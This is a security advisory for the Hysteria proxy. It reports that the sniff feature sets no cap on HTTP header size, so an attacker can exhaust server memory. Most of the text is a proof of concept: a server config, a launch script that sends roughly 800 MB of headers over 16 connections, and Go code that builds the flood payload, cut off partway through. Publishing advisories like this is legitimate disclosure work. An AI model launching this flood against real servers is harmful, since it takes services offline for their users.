GHSA-jqc5-2p7q-fqfc

### Summary Sending an excessively large header by an attacker could lead to a server-side DoS attack. ### Details The current sniff implementation does not explicitly specify the upper limit for HTTP headers. Attackers can continuously send excessively large headers without including \r\n\r\n, leading to ServerDoS and OutOfMemory errors. ### PoC server.yaml ``` listen: 127.0.0.1:8443 tls: cert: poc_server.crt key: poc_server.key auth: type: password password: sniff-poc-password sniff: enable: true timeout: 10s rewriteDomain: false tcpPorts: 80 masquerade: type: string string: content: nope statusCode: 404 ``` poc.sh ``` #!/bin/bash go build poc_sniff_http_dos.go ./poc_sniff_http_dos \ --server 127.0.0.1:8443 \ --auth sniff-poc-password \ --insecure \ --target-host 192.0.2.1 \ --target-port 80 \ --connections 16 \ --header-bytes 838860800 \ --linger 12 ``` poc.go ``` //go:build poc package main import ( "crypto/sha256" "crypto/x509" "encoding/hex" "errors" "flag" "fmt" "net" "strings" "sync" "time" coreclient "github.com/apernet/hysteria/core/v2/client" "github.com/apernet/hysteria/extras/v2/obfs" ) type attackConnFactory struct { obfuscator obfs.Obfuscator } func (f *attackConnFactory) New(_ net.Addr) (net.PacketConn, error) { conn, err := net.ListenUDP("udp", nil) if err != nil { return nil, err } if f.obfuscator == nil { return conn, nil } return obfs.WrapPacketConn(conn, f.obfuscator), nil } func buildHeaderPayload(totalBytes, chunkSize int) []byte { prefix := []byte("GET / HTTP/1.1\r\nHost: victim\r\nUser-Agent: hy2-sniff-poc\r\n") if totalBytes <= len(prefix) { return prefix[:totalBytes] } out := make([]byte, 0, totalBytes) out = append(out, prefix...) linePayload := chunkSize - 32 if linePayload < 64 { linePayload = 64 } for i := 0; len(out) < totalBytes; i++ { line := fmt.Sprintf("X-Fill-%06d: %s\r\n", i, strings.Repeat("A", linePayload)) remai